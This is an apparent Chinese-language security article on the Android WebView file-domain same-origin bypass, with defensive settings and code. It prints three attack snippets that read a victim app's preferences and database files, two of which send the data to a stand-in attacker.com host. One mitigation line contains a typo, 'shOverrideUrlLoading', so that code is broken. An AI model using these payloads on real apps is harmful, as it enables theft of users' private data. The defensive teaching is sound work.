WebView中的File域同源策略绕过漏洞是指Android WebView组件在处理本地文件(file://协议)时,未能正确实施同源策略(Same-Origin Policy),导致恶意网页可能访问或窃取设备上的本地文件内容。
Android WebView默认允许通过file://协议加载本地文件,但不同源的文件应该被隔离。然而在某些情况下:
<!-- 恶意网页代码 -->
<script>
function stealData() {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///data/data/com.victim.app/shared_prefs/prefs.xml', false);
xhr.send();
var data = xhr.responseText;
// 将窃取的数据发送到攻击者服务器
new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(data);
}
stealData();
</script>
<!-- 攻击页面 -->
<iframe id="victim" src="file:///data/data/com.victim.app/database.db"></iframe>
<script>
window.onload = function() {
var content = document.getElementById('victim').contentWindow.document.body.innerHTML;
// 窃取敏感数据
new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(content);
};
</script>
<!-- 攻击页面 -->
<a href="javascript:alert(document.body.innerHTML)"
onclick="window.location='file:///data/data/com.victim.app/webview.db'">
点击查看
</a>
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
// 代替直接使用file://, 使用content://
webView.loadUrl("content://com.your.package.provider/path/to/file.html");
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (url.startsWith("file://") && !url.startsWith("file:///android_asset/")) {
// 阻止非预期的文件访问
return true;
}
return super.shOverrideUrlLoading(view, request);
}
});
WebViewAssetLoader assetLoader = new WebViewAssetLoader.Builder()
.addPathHandler("/assets/", new WebViewAssetLoader.AssetsPathHandler(this))
.addPathHandler("/res/", new WebViewAssetLoader.ResourcesPathHandler(this))
.build();
webView.setWebViewClient(new WebViewClient() {
@Override
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
return assetLoader.shouldInterceptRequest(request.getUrl());
}
});
webView.loadUrl("https://appassets.androidplatform.net/assets/index.html");
通过以上措施,可以有效防止WebView File域同源策略绕过漏洞带来的安全风险。